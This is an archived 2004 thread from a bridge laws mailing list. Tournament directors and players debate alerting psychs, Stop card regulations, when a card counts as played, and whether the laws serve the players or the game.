>I've TD'd just the 65,000 tables, and I have *never* once been in doubt. >Kojak is right. WHY are we discussing this? cheers john Possibly for one of two reasons: [1] *You* may not be in doubt, but others are, or [2] *You* are not in doubt, but are not correct either. However, I think this one is suitable for discussion since there seems a large group who have an interpretation which seems strange to me [and you and Kojak]. I believe it comes frpm not thinking about the position, myself, but to just say "I am Probst, therefore I am right" seems slightly unconvincing. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Tue Jul 6 23:41:35 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jul 2004 08:41:35 +1000 Subject: [blml] Balance of probabilities Message-ID: Sven Pran asked: >You know from experience that your partner >sometimes (unpredictably) is likely to >psyche. You have no agreements that enable >you to identify a particular call as a >psyche (any such agreement would indeed be >illegal unless properly disclosed to >opponents). > >Are you saying that when during the auction >you understand a particular call by your >partner to (probably) be a psyche then you >are required to inform your opponents? Richard Hills replies: Yes. For example -> Me Pard 1S(1) 1NT(2) Pass(3) (1) 10-14 hcp, 5+ spades (2) Artificial game-force relay, alerted (3) Partner knows, from my past behaviour over decades, that I am alert but not alarmed. Therefore, pard has implicit information that I am less likely to have misbid, and more likely to have psyched. Therefore, pard alerts my pass. Best wishes RJH From richard.hills@immi.gov.au Tue Jul 6 23:51:57 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jul 2004 08:51:57 +1000 Subject: [blml] Balance of probabilities Message-ID: Sven Pran asked: >Had you previously given an incorrect explanation >or did your partner forget the system? Richard Hills replies: Both. :-) At the point that pard bid 3NT, not only did I know that pard had forgotten the system, but I also knew that I had an implicit agreement with pard as to exactly *how* pard had forgotten the system. Law 75A: >>Special partnership agreements, whether explicit >>or implicit, must be fully and freely available >>to the opponents (see Law 40). Information >>conveyed to partner through such agreements must >>arise from the calls, plays and conditions of >>the current deal. Richard Hills continues: The opponents are entitled to know what I now implicitly know, by partnership agreement, arising from the calls of the current deal. Best wishes RJH From richard.hills@immi.gov.au Wed Jul 7 01:27:59 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jul 2004 10:27:59 +1000 Subject: [blml] Wind from the South (was from the West) Message-ID: Adam Wildavsky: >>>>I've posted before about the desirability of a >>>>regulation such as the EBU's, and I'm disappointed >>>>I've been able to make no headway in getting the >>>>ACBL to re-adopt such a policy. I hate to think that >>>>a BLML subscriber playing under the proper >>>>regulation might not be taking advantage of it to >>>>make the game more pleasant for himself and >>>>indeed for everyone. Kojak: >>>Hear, hear!!! Another clarion call in the wilderness. >>> >>>=K= Grattan Endicott: >>+=+ Continue to blow thy clarion, >> O azure sister of the Spring......." +=+ J.R.R. Tolkien: >From the mouths of the Sea the South Wind flies, > from the sandhills and the stones; >The wailings of the gulls it bears, > and at the gate it moans. >What news from the South, O sighing wind, > do you bring to me at eve? Richard Hills: The news from the South is that Australia has never had a Stop! regulation. This is partly because the normal method of bidding in the Great Southern Land is via a bidding pad, instead of a bidding box. However, in my opinion, Aussies do not need any Stop! regulation (neither EBU-style nor ACBL-style). In my opinion, a Stop! regulation's purpose is merely to prevent a potential offending side from suffering from their own potential folly. In Aussie national events, the absence of Stop! cards is resolved by careful enforcement of Law 73C and Law 16, plus continuing education of Aussie players in the principles of active ethics. Best wishes RJH From richard.hills@immi.gov.au Wed Jul 7 02:16:40 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jul 2004 11:16:40 +1000 Subject: [blml] A player's view Message-ID: Nigel: >As Richard well knows, that isn't my view. >Here, again, are some of my views: >the views of a typical player, not a TD: [snip] RJH: I publicly apologise for misinterpreting Nigel's views. Furthermore, I publicly apologise for my over-the-top statement of "Honi soit qui mal y pense" in response to one of Nigel's earlier postings. Best wishes Richard Hills From toddz@att.net Wed Jul 7 07:29:18 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Wed, 07 Jul 2004 02:29:18 -0400 Subject: [blml] Re: Balance of probabilities In-Reply-To: <000c01c463a4$c86f9a00$6900a8c0@WINXP> References: <6.0.1.1.1.20040706162544.01bacec0@postoffice.worldnet.att.net> <000c01c463a4$c86f9a00$6900a8c0@WINXP> Message-ID: <6.0.1.1.1.20040707021839.01b0bc20@postoffice.worldnet.att.net> At 06:01 PM 7/6/2004, Sven Pran wrote: You know from experience that your partner sometimes (unpredictably) is likely to psyche. You have no agreements that enable you to identify a particular call as a psyche (any such agreement would indeed be illegal unless properly disclosed to opponents) I thought you were talking about a situation where there was an agreement. The call was not undiscussed, but rather agreed to be asystemic. When such a bid is made I do suspect a psyche, but opponents are entitled to know our agreements. Are you saying that when during the auction you understand a particular call by your partner to (probably) be a psyche then you are required to inform your opponents? Playing 2/1 in the ACBL. 1S - P - 2C - P - P.... Opponents ask about the last pass. Yes, I'm required to tell them that it's asystemic. The question remains whether I'm required to alert, but I'd wager yes, and in such a position of doubt I do alert. -Todd From Frances.Hinden@Shell.com Wed Jul 7 09:33:48 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 7 Jul 2004 09:33:48 +0100 Subject: [blml] Reno regional appeal number four Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816C09@lonsc-s-031.europe.shell.com> [Nigel] The rules *are* the same here in the UK=20 but I met typical problems at an inter- county event, on Sunday. 1. LHOs often bid *before* I removed=20 the "stop". card. We weren't damaged=20 so I didn't call the TD. Just as well, given how a gun-toting TD like Kojak might react when players suggest procedural penalties for such trivial offences! - [FH] If I called the TD every time that happened, he'd never get a moment's peace. My partner always waits until I've removed the Stop card however, which often gets an apology from the fast passer and a (slight) improvement. 2. On another occasion, RHO opened 1C. I placed the "stop" card on the table and jumped to 3S. I counted out what I thought was ten seconds before taking=20 away the stop card. LHO continued=20 thinking for several more seconds but,=20 eventually, passed. Partner passed and=20 RHO protected with a double, passed out=20 for -800. RHO seemed to have his bid so=20 I didn't call the director. =20 - [FH] I believe your oppo may have been my husband & his partner whom I have carefully trained in counting out the full 10 seconds, however long the stop card was there. The hand over the 3S had nothing to think about - an unethical player would have passed _quickly_ with his penalty double. Anyway, in your place I'd have been so embarrassed by my 3S bid=20 that I'd wouldn't have dared call the director! From ereppert@rochester.rr.com Wed Jul 7 10:15:39 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 7 Jul 2004 05:15:39 -0400 Subject: [blml] Re: Balance of probabilities In-Reply-To: <6.0.1.1.1.20040707021839.01b0bc20@postoffice.worldnet.att.net> Message-ID: <36B1307E-CFF6-11D8-BD08-0030656F6826@rochester.rr.com> On Wednesday, Jul 7, 2004, at 02:29 US/Eastern, Todd M. Zimnoch wrote: > The question remains whether I'm required to alert, but I'd wager yes, > and in such a position of doubt I do alert. If I'm not mistaken, the ACBL Alert Regulation specifically says that if you are unsure whether or not to alert, you should alert. From gordon@gordonrainsford.co.uk Wed Jul 7 10:53:03 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Wed, 7 Jul 2004 10:53:03 +0100 Subject: [blml] A player's view In-Reply-To: References: <000501c46374$c06076c0$6900a8c0@WINXP> Message-ID: <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> On 6 Jul 2004, at 21:25, WILLIAM SCHODER wrote: > Of course I agree with Grattan. Me too. His email (coming from one in the position he is, to have a practical effect on the laws) gave me more hope for the game than anything else I've read on BLML. > If a law is too vaguely > stated, tighten it up, but there is no reason to change something > because it > is difficult. Learn how to apply it, or go sell shoes -- to misquote > an old > phrase. But it's for the *players* that changes in the laws should be made for, not the directors, so being difficult *is* a reason to change something. -- Gordon Rainsford London UK From schoderb@msn.com Wed Jul 7 13:07:04 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Wed, 7 Jul 2004 08:07:04 -0400 Subject: [blml] A player's view References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: Sorry to disagree. I'll be a polite as I can. The laws are not FOR the players -- they are for the game. Players who wish to participate should (yes I know they for a great part don't) know what they are. Then, when they sit down to play, they can avoid violating them. Intricate, difficult, or extensive provisions in their application are tasks of the TDs, not the players. It is one of the reasons why I am opposed to those laws that were Bandaided with statements like ".....with the concurrence of the players...." This kind of statement goes great when an irregularity occurs, even if you make it, and by not concurring with the TD get 40% against a pair that your skills would be expected to earn 20%. That much they quickly learn. Kojak ----- Original Message ----- From: "Gordon Rainsford" To: "BLML" Sent: Wednesday, July 07, 2004 5:53 AM Subject: Re: [blml] A player's view > > On 6 Jul 2004, at 21:25, WILLIAM SCHODER wrote: > > > Of course I agree with Grattan. > > Me too. His email (coming from one in the position he is, to have a > practical effect on the laws) gave me more hope for the game than > anything else I've read on BLML. > > > If a law is too vaguely > > stated, tighten it up, but there is no reason to change something > > because it > > is difficult. Learn how to apply it, or go sell shoes -- to misquote > > an old > > phrase. > > But it's for the *players* that changes in the laws should be made for, > not the directors, so being difficult *is* a reason to change > something. > > > -- > Gordon Rainsford > London UK > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From gordon@gordonrainsford.co.uk Wed Jul 7 13:31:13 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Wed, 7 Jul 2004 13:31:13 +0100 Subject: [blml] A player's view In-Reply-To: References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: <887F34F6-D011-11D8-A854-0003936A6522@gordonrainsford.co.uk> On 7 Jul 2004, at 13:07, WILLIAM SCHODER wrote: > The laws are not FOR the > players -- they are for the game. I cannot conceive of the game without the players. I can conceive of the game without directors, because in many situations that is how it exists. -- Gordon Rainsford London UK From gordon@gordonrainsford.co.uk Wed Jul 7 13:56:24 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Wed, 7 Jul 2004 13:56:24 +0100 Subject: [blml] A player's view In-Reply-To: References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: <0D2DC1B1-D015-11D8-A854-0003936A6522@gordonrainsford.co.uk> On 7 Jul 2004, at 13:07, WILLIAM SCHODER wrote: > The laws are not FOR the > players -- they are for the game. Players who wish to participate > should > (yes I know they for a great part don't) know what they are. They will continue not to know them if, as you say, "there is no reason to change something because it is difficult." > Then, when they > sit down to play, they can avoid violating them. Intricate, > difficult, or > extensive provisions in their application are tasks of the TDs, not the > players. This seems inconsistent with your second sentence above. -- Gordon Rainsford London UK From blml@blakjak.com Wed Jul 7 14:12:41 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 7 Jul 2004 14:12:41 +0100 Subject: [blml] Wind from the South (was from the West) In-Reply-To: References: Message-ID: RJH wrote >However, in my opinion, Aussies do not need any Stop! >regulation (neither EBU-style nor ACBL-style). > >In my opinion, a Stop! regulation's purpose is merely to >prevent a potential offending side from suffering from >their own potential folly. In Aussie national events, >the absence of Stop! cards is resolved by careful >enforcement of Law 73C and Law 16, plus continuing >education of Aussie players in the principles of active >ethics. That makes the players ethical: it does not solve the problem. The advantage of the Stop procedure is it removes some L73C situations completely, and so those situations continue in Australia, however, ethical/knowledgeable :) the players become. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From john@asimere.com Wed Jul 7 14:29:32 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 7 Jul 2004 14:29:32 +0100 Subject: [blml] Interpretation In-Reply-To: <$x$wwUDfoy6AFwP2@blakjak.demon.co.uk> References: <000601c462f3$b7e32c30$0301a8c0@ACER> <000001c46371$93905320$0200a8c0@Zog> <$x$wwUDfoy6AFwP2@blakjak.demon.co.uk> Message-ID: <$C5uMWA8q$6AFwcZ@asimere.com> In article <$x$wwUDfoy6AFwP2@blakjak.demon.co.uk>, David Stevenson writes >John (MadDog) Probst wrote >>In article <000001c46371$93905320$0200a8c0@Zog>, Brambledown >> writes > >>>Critical case: Declarer plays a card which for a nanosecond or two is >>>face up touching the table, before he snatches it back into his hand in >>>what, for practical purposes, is one continuous movement. >>> >>>I suspect that the vast majority of TDs reading L45C2 would rule that >>>the card has been played. DWS and other notables say it has not. >>> >>>This scenario is not at all unlikely, it (or something very close to it) >>>probably happens somewhere in the bridge-playing world every hour of >>>every day. >>> >>>There will always be grey areas requiring interpretation (how nearly >>>does it have to be for it to be "nearly touching"?, how long for it to >>>have been "maintained"?), but the above is a stock situation about which >>>there should be no doubt - no need for "interpretation". >>> >>>If we cannot agree on what the Law requires here, the Law has failed us. >> >>I've TD'd just the 65,000 tables, and I have *never* once been in doubt. >>Kojak is right. WHY are we discussing this? cheers john > > Possibly for one of two reasons: > >[1] *You* may not be in doubt, but others are, or >[2] *You* are not in doubt, but are not correct either. > > However, I think this one is suitable for discussion since there seems >a large group who have an interpretation which seems strange to me [and >you and Kojak]. I believe it comes frpm not thinking about the >position, myself, but to just say "I am Probst, therefore I am right" >seems slightly unconvincing. Point well taken. I'm not trying to say I'm right. I'm trying to say I've never been in doubt whether a card is played or not. I think that 1) the Laws would be hard pushed to define whether a card were played in under 500 words, and the language of the laws can be discussed, as indeed we endlessly do discuss them. I have my own test for declarer which is "Has he stopped waving it about?" This gets very close to the words and presumed intent of the Law. 2) the actions at the table are pretty clear. > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Wed Jul 7 14:40:35 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 7 Jul 2004 14:40:35 +0100 Subject: [blml] A player's view In-Reply-To: <887F34F6-D011-11D8-A854-0003936A6522@gordonrainsford.co.uk> References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> <887F34F6-D011-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: In article <887F34F6-D011-11D8-A854-0003936A6522@gordonrainsford.co.uk>, Gordon Rainsford writes > >On 7 Jul 2004, at 13:07, WILLIAM SCHODER wrote: > >> The laws are not FOR the >> players -- they are for the game. > >I cannot conceive of the game without the players. >I can conceive of the game without directors, because in many >situations that is how it exists. We play football with an offside rule and baseball with the infield fly- ball rule, and as for leg before wicket at cricket ..... Good games have complex rules. I don't think simplifying rules for the players follows Gordon. cheers john ... and can we all congratulate Gordon who is now TDing a session at the Young Chelsea. it really is a TD education par excellence. 20% of the field internationals, 3 regular AC chairman play there, 4 or 5 EBU TDs etc etc. > >-- >Gordon Rainsford >London UK > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From walt1@verizon.net Wed Jul 7 15:23:13 2004 From: walt1@verizon.net (Walt) Date: Wed, 07 Jul 2004 10:23:13 -0400 Subject: [blml] Re: Balance of probabilities Message-ID: <6.1.0.6.0.20040707095457.02f4c260@incoming.verizon.net> At 09:54 AM 7/07/2004, Walt wrote: >At 05:15 AM 7/07/2004, Ed Reppert wrote: >> >>On Wednesday, Jul 7, 2004, at 02:29 US/Eastern, Todd M. Zimnoch wrote: >> >>>The question remains whether I'm required to alert, but I'd wager yes, >>>and in such a position of doubt I do alert. >> >>If I'm not mistaken, the ACBL Alert Regulation specifically says that if >>you are unsure whether or not to alert, you should alert. Todd Assuming ACBL alerting regulations: If 75% of my partners passed in that auction they would just have been taking a nap. If the other one should pass there he would be backing his hunch that, while asystemic, a pass was right. I don't recall that he has ever passed a forcing bid in the first round, but since he is (lifetime) 90 percent right on his asystemic calls I give him carte blanche to make them. He somehow works out the logic of the auction and a red flag goes up. It only happens about once a year but he's almost always right. The one I really remember occurred in the Gatlinburg Regional about 1996: he passed a forcing bid when we were cold for 5D; he was right, though, there was no way we could have stopped short of six and we picked up a few IMPs because out opponents were in 6D down one. _____ I believe I have been wrong in the case of the last partner mentioned and I should alert his passes in forcing sequences (due to partnership experience). I have never thought about it in this depth before. I still believe in the cases where my other partners pass and I believe they have been taking a nap and blown the auction that we have fully disclosed the system and anyone who can't work out that it (1S-2C, P) is a blown auction and pass is not entitled to have it pointed out to them. In your case it seems that partnership experience tells you that partner has psyched and I believe that this makes the call alertable. _____ I'll be interested to hear any comments. Walt From ehaa@starpower.net Wed Jul 7 15:43:08 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 07 Jul 2004 10:43:08 -0400 Subject: [blml] A player's view In-Reply-To: References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: <6.1.1.1.0.20040707103802.02a3e650@pop.starpower.net> At 08:07 AM 7/7/04, WILLIAM wrote: >Sorry to disagree. I'll be a polite as I can. The laws are not FOR the >players -- they are for the game. But the players ARE the game! Directors, committees, sponsoring organizations, the WBF, the whole lot, are (for some of us) aids to enjoyment of the game, but bridge can be played perfectly well without them, whereas without players there ain't no such thing as bridge, no matter what the Laws say. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From gordon@gordonrainsford.co.uk Wed Jul 7 16:00:13 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Wed, 7 Jul 2004 16:00:13 +0100 Subject: [blml] A player's view In-Reply-To: References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> <887F34F6-D011-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: <59AB96BE-D026-11D8-A854-0003936A6522@gordonrainsford.co.uk> On 7 Jul 2004, at 14:40, John (MadDog) Probst wrote: > We play football with an offside rule and baseball with the infield > fly- > ball rule, and as for leg before wicket at cricket ..... I would have expected you to know me well enough to know that these sporting comparisons do nothing to assist me understand your point, John. > Good games have > complex rules. I don't think simplifying rules for the players follows > Gordon. cheers john If it's unavoidable to have rules that the players can't be expected to know, well... it's unavoidable, though it certainly seems undesirable to me. But is that the case? I dislike the assumption that is sometimes exhibited on this mailing list, and was in the original post to which I replied, that the game revolves around the directors rather than the players. -- Gordon Rainsford London UK From grandeval@vejez.fsnet.co.uk Wed Jul 7 16:33:39 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Wed, 7 Jul 2004 16:33:39 +0100 Subject: [blml] A player's view References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> <6.1.1.1.0.20040707103802.02a3e650@pop.starpower.net> Message-ID: <004401c46437$dab83260$379a4c51@4nrw70j> Grattan Endicott To: "Bridge Laws Discussion List" Sent: Wednesday, July 07, 2004 3:43 PM Subject: Re: [blml] A player's view > At 08:07 AM 7/7/04, WILLIAM wrote: > > >Sorry to disagree. I'll be a polite as I can. The > > laws are not FOR the players -- they are for the game. > > But the players ARE the game! Directors, committees, > sponsoring organizations, the WBF, the whole lot, are > (for some of us) aids to enjoyment of the game, but > bridge can be played perfectly well without them, > whereas without players there ain't no such thing as > bridge, no matter what the Laws say. > +=+ What Kojak wrote is a mark of the sincerity of the man - he wears his heart on his sleeve and when he says "for the game" he is well aware that the beneficiary is the player. The players are the essential core of the game, but not the whole of it - the Directors, administrators, legislators, are all part of its composition and, nearly to the same extent as the players, capable of its ruin. So let's not jump down his throat, eh? - we need his like, and the like of his WBF successor, if we are to stand a chance with our ambitions for 'the game' (sic). And, by the way, I am aware that there are just one or two non-players among the foregoing 'extras'. ~ Grattan ~ +=+ From walt1@verizon.net Wed Jul 7 17:09:00 2004 From: walt1@verizon.net (Walt) Date: Wed, 07 Jul 2004 12:09:00 -0400 Subject: [blml] A player's view In-Reply-To: References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> <887F34F6-D011-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: <6.1.0.6.0.20040707120451.02fceeb0@incoming.verizon.net> At 09:40 AM 7/07/2004, John (MadDog) Probst wrote: >... Young Chelsea ... really is a TD education par excellence. 20% of the >field internationals, 3 regular AC chairman play there, 4 or 5 EBU TDs >etc etc. This is indeed quite a field. I have two questions: 1. How many tables are there usually in one of these sessions? 2. Where did the name "Young Chelsea" come from? Young people playing in Chelsea? A club formed by Mr. Young and Mr. Chelsea? Or? Walt From gordon@gordonrainsford.co.uk Wed Jul 7 18:16:02 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Wed, 7 Jul 2004 18:16:02 +0100 Subject: [blml] A player's view In-Reply-To: <6.1.0.6.0.20040707120451.02fceeb0@incoming.verizon.net> References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> <887F34F6-D011-11D8-A854-0003936A6522@gordonrainsford.co.uk> <6.1.0.6.0.20040707120451.02fceeb0@incoming.verizon.net> Message-ID: <52DCFA46-D039-11D8-A854-0003936A6522@gordonrainsford.co.uk> On 7 Jul 2004, at 17:09, Walt wrote: > This is indeed quite a field. I have two questions: > > 1. How many tables are there usually in one of these sessions? Average a little over 20 tables, I think. > > 2. Where did the name "Young Chelsea" come from? Young people playing > in Chelsea? A club formed by Mr. Young and Mr. Chelsea? Or? > > Walt They were young people then (as bridge players go), but now, 30 years later, a number of them are still playing there and are not so young. It's not really Chelsea either - more Earl's Court. A number of the players there are still young, but the range goes the full spectrum. -- Gordon Rainsford London UK From walt1@verizon.net Wed Jul 7 19:33:29 2004 From: walt1@verizon.net (Walt) Date: Wed, 07 Jul 2004 14:33:29 -0400 Subject: [blml] A player's view In-Reply-To: <52DCFA46-D039-11D8-A854-0003936A6522@gordonrainsford.co.uk > References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> <887F34F6-D011-11D8-A854-0003936A6522@gordonrainsford.co.uk> <6.1.0.6.0.20040707120451.02fceeb0@incoming.verizon.net> <52DCFA46-D039-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: <6.1.0.6.0.20040707142915.038fd060@incoming.verizon.net> Gordon Your comments remind me of a friend of mine in North Carolina who commented one day that when he and his wife were about thirty and started to play Duplicate Bridge they were among the youngest of the players ... and now twenty-five years later they were still among the youngest of the players. Thanks for the information. I've always liked the name "Young Chelsea" and have wondered about it. Walt At 01:16 PM 7/07/2004, Gordon Rainsford wrote: >On 7 Jul 2004, at 17:09, Walt wrote: > >>This is indeed quite a field. I have two questions: >> >>1. How many tables are there usually in one of these sessions? > >Average a little over 20 tables, I think. > >> >>2. Where did the name "Young Chelsea" come from? Young people playing in >>Chelsea? A club formed by Mr. Young and Mr. Chelsea? Or? >> >>Walt > >They were young people then (as bridge players go), but now, 30 years >later, a number of them are still playing there and are not so young. It's >not really Chelsea either - more Earl's Court. > >A number of the players there are still young, but the range goes the full >spectrum. > >-- >Gordon Rainsford >London UK > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml From richard.hills@immi.gov.au Wed Jul 7 23:05:02 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jul 2004 08:05:02 +1000 Subject: [blml] Wind from the South (was from the West) Message-ID: David Stevenson: [snip] > The advantage of the Stop procedure is it >removes some L73C situations completely, and >so those situations continue in Australia, >however, ethical/knowledgeable :) the >players become. Richard Hills: I disagree both in theory and in practice. For example, it has been more than a decade since an Aussie TD or AC last ruled that I had infracted Law 73C. Indeed, in the most recent case where an appellant argued that I had infracted Law 73C, the AC ruled that the appellant's case was without merit. Best wishes RJH From mfrench1@san.rr.com Wed Jul 7 23:24:37 2004 From: mfrench1@san.rr.com (Marvin French) Date: Wed, 7 Jul 2004 15:24:37 -0700 Subject: [blml] Wind from the South (was from the West) References: Message-ID: <000801c46471$31837f80$6401a8c0@san.rr.com> Richard Hills wrote: > For example, it has been more than a decade > since an Aussie TD or AC last ruled that I > had infracted Law 73C. > > Indeed, in the most recent case where an > appellant argued that I had infracted Law > 73C, the AC ruled that the appellant's case > was without merit. > I hope that your players are also playing and bidding in accordance with L73B1: "Players shall not communicate through the manner in which calls or plays are made...." If so, L73C would not come into the picture and a STOP card regulation would have no justification. Marv Marvin L. French San Diego, California From richard.hills@immi.gov.au Thu Jul 8 00:06:45 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jul 2004 09:06:45 +1000 Subject: [blml] Wind from the South (was from the West) Message-ID: Marv: >I hope that your players are also playing and >bidding in accordance with L73B1: > >"Players shall not communicate through the >manner in which calls or plays are made...." > >If so, L73C would not come into the picture >and a STOP card regulation would have no >justification. RJH: In my opinion, a Law 73C infraction is not *necessarily* predicated upon a prior Law 73B1 infraction. Law 73D1 states: >>.....Otherwise, inadvertently to vary the >>tempo or manner in which a call or play is >>made does not in itself constitute a >>violation of propriety..... RJH: But, in my opinion, a player's non-infraction (under Law 73D1) might potentially permit a consequential infraction (under Law 73C) from their partner. Law 73D1 concludes: >>.....but inferences from such variation may >>appropriately be drawn only by an opponent, >>and at his own risk. RJH: My regular partner and I eschew infracting Law 73B1. But my regular partner is not as quick- thinking as I am, so my regular partner often legally inadvertently varies his tempo. So, in response to such legal inadvertent variation, I carefully avoid taking any advantage that might accrue to my side. Best wishes Richard Hills From richard.hills@immi.gov.au Thu Jul 8 00:59:53 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jul 2004 09:59:53 +1000 Subject: [blml] A player's view Message-ID: Kojak: [snip] >It is one of the reasons why I am opposed >to those laws that were Bandaided with >statements like ".....with the concurrence >of the players...." This kind of >statement goes great when an irregularity >occurs, even if you make it, and by not >concurring with the TD get 40% against a >pair that your skills would be expected to >earn 20%. That much they quickly learn. RJH: Examples would be Law 16B2, "with the concurrence of all four players, appoint a temporary substitute to replace the player who received the unauthorised information; or," in conjunction with Law 16B3, "forthwith award an artificial adjusted score." Kojak's statement seems slightly ambiguous. Is Kojak arguing for the abolition of Law 16B2? If so, I would disagree. Abolition of Law 16B2 would make sense at the highest level of bridge (Young Chelsea tournaments) or the second-highest level of bridge (WBF tournaments), but hoi polloi come to their local club to play cards for 20%, rather than not play cards for 40%. Or is Kojak arguing for the deletion of the phrase "with the concurrence of all four players" from Law 16B2? If so, again I would disagree. Deletion of that phrase would make sense at the lowest level of bridge (Canberra tournaments) or the second-lowest level of bridge (WBF tournaments). However, I think that David Stevenson would not want the TD to replace arbitrarily his regular partner with a random kibitzer named Richard Hills. Best wishes Richard Hills From nigel.guthrie@ntlworld.com Wed Jul 7 17:04:55 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 7 Jul 2004 17:04:55 +0100 Subject: [blml] A player's view References: Message-ID: <000101c46481$cc5fb680$289868d5@jeushtlj> [Richard James Hills] ..."Honi soit qui mal y pense" in response to one of Nigel's earlier postings. {Nigel] Thank you Richard! but nobody could possibly take offence from your chiding good humour. I'm afraid that 90+% of BLML TDs think that your quotation is entirely appropriate to all my TFLB suggestions -- even I could not help laughing! --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From nigel.guthrie@ntlworld.com Wed Jul 7 18:12:52 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 7 Jul 2004 18:12:52 +0100 Subject: [blml] A player's view References: <000501c46374$c06076c0$6900a8c0@WINXP> <700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: <000201c46481$d0241180$289868d5@jeushtlj> [WILLIAM (Kojak) SCHODER] Sorry to disagree. I'll be a polite as I can. The laws are not FOR the players -- they are for the game. [Nigel] Thank you, Kojak, for this clarification. I agree the laws are incomprehensible to most players; but I fear that few TDs understand them either. Players don't understand why the laws must be so ambiguous, subjective, complex and parochial. Comparisons with fiscal or criminal law are inappropriate. Bridge is a *game*. The exigencies of ordinary life need impose few restrictions on the laws of a *game*. Provided the game is unimpaired, harmonisation and simplification are welcome to players. A major problem with complex subjective laws is that it gives legal experts an appreciable edge at the table -- not as significant as bidding or play skills -- but it can still be decisive. This ludicrous and unnecessary situation is made worse by the recommended TD practice of asking "OK you've told me the facts; now explain how you were damaged". Experienced but legally naive players may explain "Well LHO hesitated a long time before bidding", only to be told that "Giving unauthorised information is not an offence". At best this is a waste of time but, anyway, a legal expert is always better at explaining damage or exploiting arcane interpretations and obscure minutes. At any game, it pays to know the rules but for Bridge players this is becoming an ever more onerous task, as they become more subjective and concerned with a completely spurious "equity". Subjective laws exacerbate problems of inequitablity and inconsistency. Players are quite paranoid enough without having to worry whenever an opponent calls the TD and greets him warmly by his Christian name. I've even heard explanations of some strange international AC rulings, in terms of the relationship or the appellants to the AC. Even when TDs are completely unbiased, subjective judgements are more unreliable than objective judgements, by their very nature. Obviously, subjectivity can't be eliminated. But, for example, too many laws require the TD to guess a player's skills or intentions. How is a TD expected to apply such laws when dealing with friends, enemies or, even more difficult, strangers. Must TDs 